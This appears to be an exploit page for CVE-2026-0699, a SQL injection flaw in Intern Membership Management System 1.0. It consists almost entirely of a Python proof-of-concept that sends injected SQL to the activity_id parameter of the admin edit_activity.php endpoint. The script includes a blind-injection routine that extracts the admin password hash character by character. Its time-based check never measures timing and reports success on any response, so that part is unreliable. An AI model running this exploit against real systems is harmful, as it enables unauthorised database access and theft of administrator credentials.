CVE-2026-0699 Intern Membership Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2026-0699 SQL Injection PoC # Target: Intern Membership Management System 1.0 # Endpoint: /intern/admin/edit_activity.php def exploit_sqli(target_url, activity_id_payload): """ SQL Injection exploit for edit_activity.php Args: target_url: Base URL of the vulnerable application activity_id_payload: Malicious SQL payload for activity_id parameter """ target_endpoint = f"{target_url}/intern/admin/edit_activity.php" # Prepare the malicious request data = { 'activity_id': activity_id_payload, 'action': 'edit' # Trigger the vulnerable code path } try: response = requests.post(target_endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def boolean_blind_injection(target_url): """ Boolean-based blind SQL injection to extract admin password hash """ # Extract admin password hash character by character extracted_data = "" charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' for pos in range(1, 33): # Assuming MD5 hash length for char in charset: payload = f"1' AND (SELECT SUBSTRING(password, {pos}, 1) FROM admin LIMIT 1) = '{char}'--" response = exploit_sqli(target_url, payload) if response and 'success' in response.lower(): extracted_data += char print(f"[*] Extracted character {pos}: {char}") break return extracted_data def time_based_injection(target_url): """ Time-based blind SQL injection using SLEEP() function """ # Check if vulnerability exists by measuring response time normal_payload = "1" normal_response = exploit_sqli(target_url, normal_payload) # Time-based payload time_payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--" time_response = exploit_sqli(target_url, time_payload) if time_response: print("[+] Time-based SQL injection vulnerability confirmed!") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_0699_poc.py <target_url>") print("Example: python cve_2026_0699_poc.py http://target.com") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2026-0699 on {target}") # Test for time-based injection if time_based_injection(target): print("[+] Vulnerability confirmed!") # Uncomment to extract data # hash = boolean_blind_injection(target) # print(f"[+] Admin password hash: {hash}") else: print("[-] Vulnerability not detected or target not vulnerable")